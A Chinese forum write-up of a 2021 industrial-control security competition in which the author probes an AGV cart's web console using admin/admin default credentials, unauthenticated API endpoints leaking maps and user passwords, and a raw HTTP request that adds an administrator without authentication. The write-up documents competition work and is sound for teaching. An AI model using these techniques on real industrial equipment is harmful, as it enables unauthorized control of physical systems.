奇安信攻防社区-记一次工控比赛漏洞挖掘

记一次工控比赛漏洞挖掘

## 1、前言 “中国制造2025”等国家战略的推出，以及云计算、大数据、人工智能、物联网等新一代信息技术与制造技术的加速融合，工业控制系统由从原始的封闭独立走向开放、由单机走向互联、由自动...

1、前言
----

“中国制造2025”等国家战略的推出，以及云计算、大数据、人工智能、物联网等新一代信息技术与制造技术的加速融合，工业控制系统由从原始的封闭独立走向开放、由单机走向互联、由自动化走向智能化。在工业企业获得巨大发展动能的同时,也出现了大量安全隐患，而工业控制系统作为国家关键基础设施的“中枢神经”，其安全关系到国家的战略安全、社会稳定。

2、目标
----

**决赛采用工业互联网场景安全竞赛，竞赛围绕隐患挖掘、漏洞修补、协议分析、密码加 解密、工业互联网包括工控领域的SCADA、DCS、PCS、PLC、RTU、IED等系统或设备等相关知识、人工智能、等方面技术赛题。**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9421f65fffc55bf9ee6ad8825183aebeaecca92d.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9421f65fffc55bf9ee6ad8825183aebeaecca92d.jpg)  
**可使用wifi连接，挖掘AGV小车有价值的漏洞**

3、漏洞挖掘
------

#### 中危漏洞

**首先连接WIFI**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d01300b8b22e262501d95667028560635275330c.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d01300b8b22e262501d95667028560635275330c.png)  
**题目提供AGV小车所在的web控制地址:<http://192.168.8.143/>**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-07e62a5b5b06dd6147879a5681b5f028cbfc383b.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-07e62a5b5b06dd6147879a5681b5f028cbfc383b.png)  
**一般来说工控设备弱口令巨多，这次也不例外**  
**使用常用弱口令  
账号admin  
密码admin**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d90c00e4c6ae83162d62fbb6114689fd35aaff32.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d90c00e4c6ae83162d62fbb6114689fd35aaff32.png)  
**成功进入后台(这已经拿了中危的分了)**  
**进一步挖掘，分析菜单有哪些功能点**  
**利用团队特色F12大法，刷新进行抓包**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7410e950221e456717eebab50ff65532a2e6aeac.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7410e950221e456717eebab50ff65532a2e6aeac.png)  
**发现两个post包  
<http://192.168.8.143/api/v0/2/missions>  
<http://192.168.8.143/api/v0/map/Map202105061426new/data>  
泄露用户对地图的操作记录**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-5436c5288829fc7c0597a39ee14681197fed13d2.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-5436c5288829fc7c0597a39ee14681197fed13d2.png)  
**泄露地图信息坐标**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f8ca3ca78c9205d641140c09d3a19cb121011a38.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f8ca3ca78c9205d641140c09d3a19cb121011a38.png)  
**未授权:以上接口无痕浏览器也可浏览  
那我们进地图列表里面**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-15a6cc3fdd69e191a9c81b478616c118669c2db8.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-15a6cc3fdd69e191a9c81b478616c118669c2db8.png)  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8e799a51e1d221515b9a415257f587f225885a44.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8e799a51e1d221515b9a415257f587f225885a44.png)  
**进行导出操作  
分别得到地址:  
<http://192.168.8.143/api/v0/map/Map202105061426new/export?type=FMS>  
<http://192.168.8.143/api/v0/map/Map202105061426new/export?type=OM>**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-39c92b3ba3fd9cd95883eac7ebd91a24baf68eaf.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-39c92b3ba3fd9cd95883eac7ebd91a24baf68eaf.png)  
**使用无痕浏览器进行访问**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-434d5c0e00b6ba9949feaffdae4d1583ca5762d9.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-434d5c0e00b6ba9949feaffdae4d1583ca5762d9.png)  
**也可以进行下载  
当然Map202105061426new是有规律的，可以利用规律进行爆破，就可以下载其他地图了(给了中危)**

- - - - - -

#### 高危漏洞

**既然要高危，不是拿到权限就是重要的信息泄露  
进入账号管理**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-6504f7dff42e4e5c44dbb6ff509ee646a9cd54b0.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-6504f7dff42e4e5c44dbb6ff509ee646a9cd54b0.png)  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d123c14133555cba237425c6d58b3949d22d9f58.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d123c14133555cba237425c6d58b3949d22d9f58.png)  
**抓到接口http://192.168.8.143/api/v0/accounts**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-785d841b564174266af6b4598302839daadbe937.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-785d841b564174266af6b4598302839daadbe937.png)  
**很好，接口直接泄露所有用户密码，尝试是否有未授权，使用无痕浏览器进行前台访问**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-197e74bec836ddb2f3f71ac18a3e104ce60b38eb.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-197e74bec836ddb2f3f71ac18a3e104ce60b38eb.png)  
**这高危不就来了嘛**  
**既然那么多未授权，是不是可以联想到添加用户存不存在未授权呢，说干就干**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-50b3ab863ed47ed210e3134e9a3eef913676b532.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-50b3ab863ed47ed210e3134e9a3eef913676b532.png)  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-926afc2a991a54ea7d1d50e1f807573e270087ca.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-926afc2a991a54ea7d1d50e1f807573e270087ca.png)  
**我们直接选管理员，填完抓包**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-007e35a973112a051ed7ba630405d218248626fa.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-007e35a973112a051ed7ba630405d218248626fa.png)  
**可以发现并没有验证cookies也就是说只要找到这个接口就能添加用户甚至是管理员**

```php
POST /api/v0/account/2 HTTP/1.1
Host: 192.168.8.143
Content-Length: 92
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.8.143
Referer: http://192.168.8.143/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"id":0,"username":"test","passwd":"123456","permission":"20","pincode":"","mission_ids":[]}

```

**测试:**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-94bb53998b823b89f2804469178ecfaf06f31e11.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-94bb53998b823b89f2804469178ecfaf06f31e11.png)  
**进入后台查看是否添加成功**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-61f213983b9e9dffc9cf35926048503ec8f4a79d.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-61f213983b9e9dffc9cf35926048503ec8f4a79d.png)  
**添加成功**  
**有些报告忘记保存了，就这样吧**

总结
--

**最后也是通过这一台小车就拿下第七，毕竟第一次接触工控**  
**纪念一下**  
[![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-58d9e94c20b6197b4a174576937faeea9569ae97.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-58d9e94c20b6197b4a174576937faeea9569ae97.jpg)  
**工控类安全比较缺乏，一般来说未授权存在的漏洞比较多，可以往这方面进行挖掘**

发表于 2021-10-25 19:06:57
阅读 ( 9356 )
分类：漏洞分析

记一次工控比赛漏洞挖掘

0 条评论